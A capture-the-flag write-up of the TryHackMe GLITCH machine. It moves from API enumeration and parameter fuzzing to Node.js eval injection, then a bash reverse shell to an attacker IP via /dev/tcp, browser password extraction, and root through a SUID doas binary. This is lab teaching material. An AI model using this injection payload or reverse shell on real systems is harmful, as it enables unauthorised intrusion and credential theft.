TryHackMe-GLITCH

From aldeid
Jump to navigation Jump to search

Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?

What is your access token?

Nmap only discovers 1 open port:

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s browse the web service. An interesting script at the end of the page gives the path of an API:

[email protected]:/data/vpn$ curl -s http://10.10.16.166/
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>not allowed</title>

    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      body {
        height: 100vh;
        width: 100%;
        background: url('img/glitch.jpg') no-repeat center center / cover;
      }
    </style>
  </head>
  <body>
    <script>
      function getAccess() {
        fetch('/api/access')
          .then((response) => response.json())
          .then((response) => {
            console.log(response);
          });
      }
    </script>
  </body>
</html>

Browsing this URL provides us with a base64 encoded string that, once decoded, is the token:

[email protected]:/data/vpn$ curl -s http://10.10.16.166/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}
[email protected]:/data/vpn$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d
this_is_not_real 

Answer: this_is_not_real

What is the content of user.txt?

Hint: What other methods does the API accept?

After several rabbit holes (/robots.txt, /secret), I eventually decided to further enumerate the /api directory:

[email protected]:/data/GLITCH$ gobuster dir -u http://10.10.16.166/api/ -x php,txt,bak,old,tar,zip -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.16.166/api/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     zip,php,txt,bak,old,tar
[+] Timeout:        10s
===============================================================
2021/04/29 15:12:46 Starting gobuster
===============================================================
/access (Status: 200)
/items (Status: 200)
===============================================================
2021/04/29 15:16:05 Finished
===============================================================

We discovered another path:

[email protected]:/data/vpn$ curl http://10.10.16.166/api/items
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}

Now, the hint was referring to “other methods”. Let’s try with POST:

[email protected]:/data/vpn$ curl -XPOST http://10.10.16.166/api/items
{"message":"there_is_a_glitch_in_the_matrix"}

Interesting. There must be a missing parameter. Let’s fuzz it:

[email protected]:/data/vpn$ wfuzz -X POST -w /usr/share/wordlists/SecLists/Fuzzing/1-4_all_letters_a-z.txt --hh=45 http://10.10.16.166/api/items?FUZZ=oops
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.16.166/api/items?FUZZ=oops
Total requests: 475254

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                             
=====================================================================

000002370:   500        10 L     64 W       1081 Ch     "cmd"

Indeed, our assumption was correct, and the URL takes a cmd parameter.

Vulnerability

With this new statement, let’s try to inject a command:

[email protected]:/data/GLITCH/files$ curl -X POST http://10.10.16.166/api/items?cmd=id
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: id is not defined<br> &nbsp; &nbsp;at eval (eval at router.post (/var/web/routes/api.js:25:60), &lt;anonymous&gt;:1:1)<br> &nbsp; &nbsp;at router.post (/var/web/routes/api.js:25:60)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /var/web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>

This error is generated by nodejs. below is the cleaned code:

ReferenceError: id is not defined
    at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)
    at router.post (/var/web/routes/api.js:25:60)
    at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)
    at next (/var/web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)
    at /var/web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)
    at next (/var/web/node_modules/express/lib/router/index.js:275:10)
    at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)

Proof of concept

Let’s exploit (I found this resource useful: https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44):

[email protected]:/data/GLITCH/files$ curl -X POST "http://10.10.16.166/api/items?cmd=process.cwd()"
vulnerability_exploited /var/web

Our injection was successful and we are provided with the current path.

Exploit and reverse shell

Use BurpSuite to send the following request:

POST /api/items?cmd=require("child_process").exec('bash+-c+"bash+-i+>%26+/dev/tcp/10.8.50.72/4444+0>%261"') HTTP/1.1
Host: 10.10.16.166
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=value
Upgrade-Insecure-Requests: 1
If-None-Match: W/"a9-0aR6bAfiK/DB+A79vs3kEEVvJNc"

We now have a reverse shell:

[email protected]:/data/GLITCH$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.16.166] 49964
bash: cannot set terminal process group (1353): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/web$ id
id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)

User flag

Let’s get the user flag

[email protected]:/var/web$ cd /home
cd /home
[email protected]:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root root 4096 Jan 15 14:13 .
drwxr-xr-x 24 root root 4096 Jan 27 10:32 ..
drwxr-xr-x  8 user user 4096 Jan 27 10:33 user
drwxr-xr-x  2 v0id v0id 4096 Jan 21 09:05 v0id
[email protected]:/home$ cd user
cd user
[email protected]:~$ ls -la
ls -la
total 48
drwxr-xr-x   8 user user  4096 Jan 27 10:33 .
drwxr-xr-x   4 root root  4096 Jan 15 14:13 ..
lrwxrwxrwx   1 root root     9 Jan 21 09:05 .bash_history -> /dev/null
-rw-r--r--   1 user user  3771 Apr  4  2018 .bashrc
drwx------   2 user user  4096 Jan  4 13:41 .cache
drwxrwxrwx   4 user user  4096 Jan 27 10:32 .firefox
drwx------   3 user user  4096 Jan  4 13:41 .gnupg
drwxr-xr-x 270 user user 12288 Jan  4 14:07 .npm
drwxrwxr-x   5 user user  4096 Apr 29 16:44 .pm2
drwx------   2 user user  4096 Jan 21 08:47 .ssh
-rw-rw-r--   1 user user    22 Jan  4 15:29 user.txt
[email protected]:~$ cat user.txt
cat user.txt
THM{i_don't_know_why}

User flag: THM{i_don't_know_why}

What is the content of root.txt?

Hint: My friend says that sudo is bloat.

Lateral move

The enumeration of the /home directory shows another user: v0id. As we don’t have the password associated to the user account we are currently using, it seems reasonable to move laterally to the other user.

Notice a .firefox directory in the home directory of our user:

[email protected]:~$ ll
ll
total 52
drwxr-xr-x   9 user user  4096 Apr 29 18:14 ./
drwxr-xr-x   4 root root  4096 Jan 15 14:13 ../
lrwxrwxrwx   1 root root     9 Jan 21 09:05 .bash_history -> /dev/null
-rw-r--r--   1 user user  3771 Apr  4  2018 .bashrc
drwx------   2 user user  4096 Jan  4 13:41 .cache/
drwxr-x---   3 user user  4096 Apr 29 17:58 .config/
drwxrwxrwx   4 user user  4096 Jan 27 10:32 .firefox/ <---------- interesting!
drwx------   4 user user  4096 Apr 29 17:58 .gnupg/
drwxr-xr-x 270 user user 12288 Jan  4 14:07 .npm/
drwxrwxr-x   5 user user  4096 Apr 29 16:44 .pm2/
drwx------   2 user user  4096 Apr 29 17:41 .ssh/
-rw-rw-r--   1 user user    22 Jan  4 15:29 user.txt

Compress the folder and download the archive locally. Download firefox_decrypt and reveal v0id’s password:

[email protected]:/data/src/firefox_decrypt$ python3 firefox_decrypt.py /data/GLITCH/files/.firefox/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2

Website:   https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'

We can now switch to v0id:

[email protected]:/var/web$ su v0id
su v0id
Password: love_the_void

[email protected]:/var/web$ id
id
uid=1001(v0id) gid=1001(v0id) groups=1001(v0id)

Privilege escalation

Unfortunately, the v0id user is not allowed to run any program with sudo.

[email protected]:/var/web$ sudo -l
sudo -l
[sudo] password for v0id: love_the_void

Sorry, user v0id may not run sudo on ubuntu.

Searching for files owned by root with the SUID bit set reveals another interesting program though (doas is working like sudo):

[email protected]:~$ find / -type f -user root -perm -u=s 2>/dev/null
find / -type f -user root -perm -u=s 2>/dev/null
/bin/ping
/bin/mount
/bin/fusermount
/bin/umount
/bin/su
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/doas <---------------------- interesting!

Let’s check:

[email protected]:~$ doas -u root /bin/bash
doas -u root /bin/bash
Password: love_the_void

[email protected]:/home/v0id# cd /root
cd /root
[email protected]:~# cat root.txt
cat root.txt
THM{diamonds_break_our_aching_minds}

Root flag: THM{diamonds_break_our_aching_minds}